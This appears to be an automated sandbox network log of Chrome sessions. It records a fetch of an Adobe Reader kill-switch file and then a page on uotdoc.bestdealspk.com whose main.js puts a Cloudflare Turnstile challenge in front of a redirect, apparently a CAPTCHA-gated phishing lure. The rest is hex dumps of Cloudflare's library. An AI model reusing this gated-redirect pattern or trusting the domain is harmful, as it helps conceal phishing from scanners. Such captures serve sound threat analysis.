2024-11-26 05:39:27 UTC	247	IN	HTTP/1.1 200 OK Server: Apache Last-Modified: Mon, 01 May 2023 15:02:33 GMT ETag: "78-5faa31cce96da" Accept-Ranges: bytes Content-Length: 120 Content-Type: text/plain; charset=UTF-8 Date: Tue, 26 Nov 2024 05:39:26 GMT Connection: close
2024-11-26 05:39:27 UTC	120	IN	Data Raw: 46 69 6c 65 20 74 68 61 74 20 61 63 74 73 20 6c 69 6b 65 20 61 20 4b 69 6c 6c 20 73 77 69 74 63 68 20 66 6f 72 20 53 4d 53 20 66 75 6e 63 74 69 6f 6e 61 6c 69 74 79 20 69 6e 20 52 65 61 64 65 72 2e 20 44 65 6c 65 74 65 20 74 68 69 73 20 66 69 6c 65 20 74 6f 20 65 6e 61 62 6c 65 20 74 68 65 20 6b 69 6c 6c 20 73 77 69 74 63 68 20 69 6e 20 52 65 61 64 65 72 2e Data Ascii: File that acts like a Kill switch for SMS functionality in Reader. Delete this file to enable the kill switch in Reader.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49723	65.21.29.43	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:39:37 UTC	665	OUT	GET / HTTP/1.1 Host: uotdoc.bestdealspk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:39:37 UTC	333	IN	HTTP/1.1 200 OK Connection: close content-type: text/html; charset=UTF-8 content-length: 612 date: Tue, 26 Nov 2024 05:39:37 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-11-26 05:39:37 UTC	612	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0d 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0d 0a 20 20 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 64 69 76 20 7b 0d 0a 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0d 0a 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 6a 75 73 74 69 66 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Document</title><style> div { display: flex; align-items: center; justif

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49724	65.21.29.43	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:39:37 UTC	536	OUT	GET /main.js HTTP/1.1 Host: uotdoc.bestdealspk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://uotdoc.bestdealspk.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:39:38 UTC	392	IN	HTTP/1.1 200 OK Connection: close content-type: text/javascript last-modified: Mon, 25 Nov 2024 15:14:34 GMT accept-ranges: bytes content-length: 344 date: Tue, 26 Nov 2024 05:39:38 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-11-26 05:39:38 UTC	344	IN	Data Raw: 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 54 75 72 6e 73 74 69 6c 65 43 61 6c 6c 62 61 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 74 75 72 6e 73 74 69 6c 65 2e 72 65 6e 64 65 72 28 27 23 6d 79 57 69 64 67 65 74 27 2c 20 7b 0d 0a 20 20 20 20 20 20 20 20 73 69 74 65 6b 65 79 3a 20 27 30 78 34 41 41 41 41 41 41 41 30 41 55 74 79 6f 6e 73 32 46 43 44 57 69 27 2c 0d 0a 20 20 20 20 20 20 20 20 63 61 6c 6c 62 61 63 6b 3a 20 66 75 6e 63 74 69 6f 6e 28 74 6f 6b 65 6e 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 27 43 68 61 6c 6c 65 6e 67 65 20 53 75 63 63 65 73 73 20 24 7b 74 6f 6b 65 6e 7d 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 Data Ascii: window.onloadTurnstileCallback = function () { turnstile.render('#myWidget', { sitekey: '0x4AAAAAAA0AUtyons2FCDWi', callback: function(token) { console.log('Challenge Success ${token}'); window.location.hre

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49726	104.18.94.41	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:39:39 UTC	581	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://uotdoc.bestdealspk.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:39:39 UTC	386	IN	HTTP/1.1 302 Found Date: Tue, 26 Nov 2024 05:39:39 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/e4025c85ea63/api.js Server: cloudflare CF-RAY: 8e878a0bfd4741c0-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49727	65.21.29.43	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:39:40 UTC	353	OUT	GET /main.js HTTP/1.1 Host: uotdoc.bestdealspk.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:39:40 UTC	392	IN	HTTP/1.1 200 OK Connection: close content-type: text/javascript last-modified: Mon, 25 Nov 2024 15:14:34 GMT accept-ranges: bytes content-length: 344 date: Tue, 26 Nov 2024 05:39:40 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-11-26 05:39:40 UTC	344	IN	Data Raw: 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 54 75 72 6e 73 74 69 6c 65 43 61 6c 6c 62 61 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 74 75 72 6e 73 74 69 6c 65 2e 72 65 6e 64 65 72 28 27 23 6d 79 57 69 64 67 65 74 27 2c 20 7b 0d 0a 20 20 20 20 20 20 20 20 73 69 74 65 6b 65 79 3a 20 27 30 78 34 41 41 41 41 41 41 41 30 41 55 74 79 6f 6e 73 32 46 43 44 57 69 27 2c 0d 0a 20 20 20 20 20 20 20 20 63 61 6c 6c 62 61 63 6b 3a 20 66 75 6e 63 74 69 6f 6e 28 74 6f 6b 65 6e 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 27 43 68 61 6c 6c 65 6e 67 65 20 53 75 63 63 65 73 73 20 24 7b 74 6f 6b 65 6e 7d 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 Data Ascii: window.onloadTurnstileCallback = function () { turnstile.render('#myWidget', { sitekey: '0x4AAAAAAA0AUtyons2FCDWi', callback: function(token) { console.log('Challenge Success ${token}'); window.location.hre

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49728	104.18.94.41	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:39:40 UTC	565	OUT	GET /turnstile/v0/g/e4025c85ea63/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://uotdoc.bestdealspk.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:39:41 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 05:39:41 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47695 Connection: close accept-ranges: bytes last-modified: Tue, 19 Nov 2024 14:16:20 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8e878a16ad290f6b-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 05:39:41 UTC	1369	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2024-11-26 05:39:41 UTC	1369	IN	Data Raw: 74 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 2c 72 29 7b 76 61 72 20 6e 3d 65 3d 3d 6e 75 6c 6c 3f 6e 75 6c 6c 3a 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 6e 21 3d 6e 75 6c 6c 29 7b 76 61 72 20 6f 3d 5b 5d 2c 63 3d 21 30 2c 75 3d 21 31 2c 67 2c 68 3b 74 72 79 7b 66 6f 72 28 6e 3d 6e 2e 63 61 6c 6c 28 65 29 3b 21 28 63 3d 28 67 3d 6e 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 6f 2e 70 75 73 68 28 67 2e 76 61 6c 75 65 29 2c 21 28 72 26 26 6f 2e 6c 65 6e 67 74 68 3d 3d 3d 72 29 29 3b 63 3d 21 30 29 Data Ascii: t(e){if(Array.isArray(e))return e}function qt(e,r){var n=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(n!=null){var o=[],c=!0,u=!1,g,h;try{for(n=n.call(e);!(c=(g=n.next()).done)&&(o.push(g.value),!(r&&o.length===r));c=!0)
2024-11-26 05:39:41 UTC	1369	IN	Data Raw: 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 70 29 7b 69 66 28 6f 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20 69 73 20 61 6c 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 67 26 26 28 67 3d 30 2c 70 5b 30 5d 26 26 28 6e 3d 30 29 29 2c 6e 3b 29 74 72 79 7b 69 66 28 6f 3d 31 2c 63 26 26 28 75 3d 70 5b 30 5d 26 32 3f 63 2e 72 65 74 75 72 6e 3a 70 5b 30 5d 3f 63 2e 74 68 72 6f 77 7c 7c 28 28 75 3d 63 2e 72 65 74 75 72 6e 29 26 26 75 2e 63 61 6c 6c 28 63 29 2c 30 29 3a 63 2e 6e 65 78 74 29 26 26 21 28 75 3d 75 2e 63 61 6c 6c 28 63 2c 70 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 75 3b 73 77 69 74 63 68 28 63 3d 30 2c 75 26 26 28 70 3d 5b 70 5b 30 5d 26 32 2c 75 2e 76 61 6c Data Ascii: ])}}function l(p){if(o)throw new TypeError("Generator is already executing.");for(;g&&(g=0,p[0]&&(n=0)),n;)try{if(o=1,c&&(u=p[0]&2?c.return:p[0]?c.throw\|\|((u=c.return)&&u.call(c),0):c.next)&&!(u=u.call(c,p[1])).done)return u;switch(c=0,u&&(p=[p[0]&2,u.val
2024-11-26 05:39:41 UTC	1369	IN	Data Raw: 29 29 3b 76 61 72 20 50 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 2c 65 2e 4c 49 47 48 54 3d 22 6c 69 67 68 74 22 2c 65 2e 44 41 52 4b 3d 22 64 61 72 6b 22 7d 29 28 50 65 7c 7c 28 50 65 3d 7b 7d 29 29 3b 76 61 72 20 53 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 56 45 52 49 46 59 49 4e 47 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 76 65 72 69 66 79 69 6e 67 2d 68 61 76 69 6e 67 2d 74 72 6f 75 62 6c 65 73 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 4f 56 45 52 52 55 4e 3d 22 76 65 72 69 66 79 69 6e 67 2d 6f 76 65 72 72 75 6e 22 2c 65 2e 46 41 49 4c 55 52 45 5f 57 4f 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 66 61 69 Data Ascii: ));var Pe;(function(e){e.AUTO="auto",e.LIGHT="light",e.DARK="dark"})(Pe\|\|(Pe={}));var Se;(function(e){e.VERIFYING="verifying",e.VERIFYING_HAVING_TROUBLES="verifying-having-troubles",e.VERIFYING_OVERRUN="verifying-overrun",e.FAILURE_WO_HAVING_TROUBLES="fai
2024-11-26 05:39:41 UTC	1369	IN	Data Raw: 49 4e 47 3d 22 6b 65 65 70 73 2d 6c 6f 6f 70 69 6e 67 22 2c 65 2e 54 4f 4f 5f 53 4c 4f 57 3d 22 74 6f 6f 2d 73 6c 6f 77 22 2c 65 2e 4f 54 48 45 52 3d 22 6f 74 68 65 72 22 7d 29 28 69 74 7c 7c 28 69 74 3d 7b 7d 29 29 3b 76 61 72 20 57 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 46 41 49 4c 55 52 45 3d 22 66 61 69 6c 75 72 65 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 4f 56 45 52 52 55 4e 4e 49 4e 47 3d 22 6f 76 65 72 72 75 6e 6e 69 6e 67 22 2c 65 2e 43 55 53 54 4f 4d 3d 22 63 75 73 74 6f 6d 22 7d 29 28 57 65 7c 7c 28 57 65 3d 7b 7d 29 29 3b 66 75 6e 63 74 69 6f 6e 20 4d 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 72 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 6f 74 28 65 29 7b 72 Data Ascii: ING="keeps-looping",e.TOO_SLOW="too-slow",e.OTHER="other"})(it\|\|(it={}));var We;(function(e){e.FAILURE="failure",e.VERIFYING="verifying",e.OVERRUNNING="overrunning",e.CUSTOM="custom"})(We\|\|(We={}));function M(e,r){return e.indexOf(r)!==-1}function ot(e){r
2024-11-26 05:39:41 UTC	1369	IN	Data Raw: 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 29 29 2c 72 2e 73 69 7a 65 21 3d 3d 30 29 72 65 74 75 72 6e 20 72 2e 74 6f 53 74 72 69 6e 67 28 29 7d 76 61 72 20 48 65 3d 22 63 66 2d 63 68 6c 2d 77 69 64 67 65 74 2d 22 2c 56 3d 22 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 22 2c 5a 74 3d 22 2e 63 66 2d 74 75 72 6e 73 74 69 6c 65 22 2c 65 72 3d 22 2e 63 66 2d 63 68 61 6c 6c 65 6e 67 65 22 2c 74 72 3d 22 2e 67 2d 72 65 63 61 70 74 63 68 61 22 2c 5f 74 3d 22 63 66 5f 63 68 61 6c 6c 65 6e 67 65 5f 72 65 73 70 6f 6e 73 65 22 2c 62 74 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 22 2c 45 74 3d 22 67 2d 72 65 63 61 70 Data Ascii: el",e.params._debugSitekeyOverrides.clearance_level)),r.size!==0)return r.toString()}var He="cf-chl-widget-",V="cloudflare-challenge",Zt=".cf-turnstile",er=".cf-challenge",tr=".g-recaptcha",_t="cf_challenge_response",bt="cf-turnstile-response",Et="g-recap
2024-11-26 05:39:41 UTC	1369	IN	Data Raw: 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 3b 72 65 74 75 72 6e 20 6f 3f 4d 72 28 7b 69 73 4d 6f 64 65 72 61 74 65 6c 79 56 65 72 62 6f 73 65 3a 6c 2c 69 73 56 65 72 62 6f 73 65 4c 61 6e 67 75 61 67 65 3a 67 2c 69 73 53 6d 61 6c 6c 65 72 46 65 65 64 62 61 63 6b 3a 63 7d 29 3a 63 26 26 67 3f 22 35 32 30 70 78 22 3a 63 26 26 6c 3f 22 35 30 30 70 78 22 3a 63 3f 22 34 38 30 70 78 22 3a 67 3f 22 35 38 30 70 78 22 3a 22 35 37 30 70 78 22 7d 2c 4d 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 3d 65 2e 69 73 56 65 72 62 6f 73 65 4c 61 6e 67 75 61 67 65 2c 6e 3d 65 2e 69 73 53 6d 61 6c 6c 65 72 46 65 65 64 62 61 63 6b 2c 6f 3d 65 2e 69 73 4d 6f 64 65 72 61 74 65 6c 79 56 65 72 62 6f 73 65 3b 72 65 74 75 72 6e 20 6e 26 26 72 3f 22 35 34 30 70 78 22 3a 6e 26 Data Ascii: nonexistent");return o?Mr({isModeratelyVerbose:l,isVerboseLanguage:g,isSmallerFeedback:c}):c&&g?"520px":c&&l?"500px":c?"480px":g?"580px":"570px"},Mr=function(e){var r=e.isVerboseLanguage,n=e.isSmallerFeedback,o=e.isModeratelyVerbose;return n&&r?"540px":n&
2024-11-26 05:39:41 UTC	1369	IN	Data Raw: 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 6e 29 7d 2c 63 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 29 7b 72 65 74 75 72 6e 20 46 75 6e 63 74 69 6f 6e 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 65 29 2e 69 6e 64 65 78 4f 66 28 22 5b 6e 61 74 69 76 65 20 63 6f 64 65 5d 22 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 71 65 28 65 29 7b 76 61 72 20 72 3d 74 79 70 65 6f 66 20 4d 61 70 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 6e 65 77 20 4d 61 70 3a 76 6f 69 64 20 30 3b 72 65 74 75 72 6e 20 71 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 69 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 75 72 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 74 68 72 6f Data Ascii: oto__\|\|Object.getPrototypeOf(n)},ce(e)}function ur(e){return Function.toString.call(e).indexOf("[native code]")!==-1}function qe(e){var r=typeof Map=="function"?new Map:void 0;return qe=function(o){if(o===null\|\|!ur(o))return o;if(typeof o!="function")thro
2024-11-26 05:39:41 UTC	1369	IN	Data Raw: 6e 74 29 26 26 65 2e 74 65 73 74 28 72 2e 73 72 63 29 29 72 65 74 75 72 6e 20 72 3b 66 6f 72 28 76 61 72 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 73 63 72 69 70 74 22 29 2c 6f 3d 30 2c 63 3b 63 3d 6e 5b 6f 5d 3b 6f 2b 2b 29 69 66 28 44 28 63 2c 48 54 4d 4c 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 63 2e 73 72 63 29 29 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 66 72 28 29 7b 76 61 72 20 65 3d 41 74 28 29 3b 65 7c 7c 6d 28 22 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 33 37 37 37 29 3b 76 61 72 Data Ascii: nt)&&e.test(r.src))return r;for(var n=document.querySelectorAll("script"),o=0,c;c=n[o];o++)if(D(c,HTMLScriptElement)&&e.test(c.src))return c}function fr(){var e=At();e\|\|m("Could not find Turnstile script tag, some features may not be available",43777);var
2024-11-26 05:39:41 UTC	1369	IN	Data Raw: 73 4e 61 6d 65 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 66 65 65 64 62 61 63 6b 22 2c 45 2e 69 64 3d 22 63 66 2d 66 72 2d 69 64 22 2c 45 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 45 2e 73 74 79 6c 65 2e 6d 61 78 57 69 64 74 68 3d 22 34 35 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 52 74 28 72 29 2c 45 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 72 65 6c 61 74 69 76 65 22 2c 45 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 37 22 2c 45 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3d 22 23 66 66 66 66 66 66 22 2c 45 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 61 64 69 75 73 3d 22 35 70 78 22 2c 45 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 70 78 22 2c 45 2e 73 74 79 Data Ascii: sName="cf-turnstile-feedback",E.id="cf-fr-id",E.style.width="100vw",E.style.maxWidth="450px",E.style.height=Rt(r),E.style.position="relative",E.style.zIndex="2147483647",E.style.backgroundColor="#ffffff",E.style.borderRadius="5px",E.style.left="0px",E.sty

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49731	104.18.94.41	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:39:43 UTC	805	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/5r096/0x4AAAAAAA0AUtyons2FCDWi/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://uotdoc.bestdealspk.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:39:43 UTC	1362	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 05:39:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26459 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA 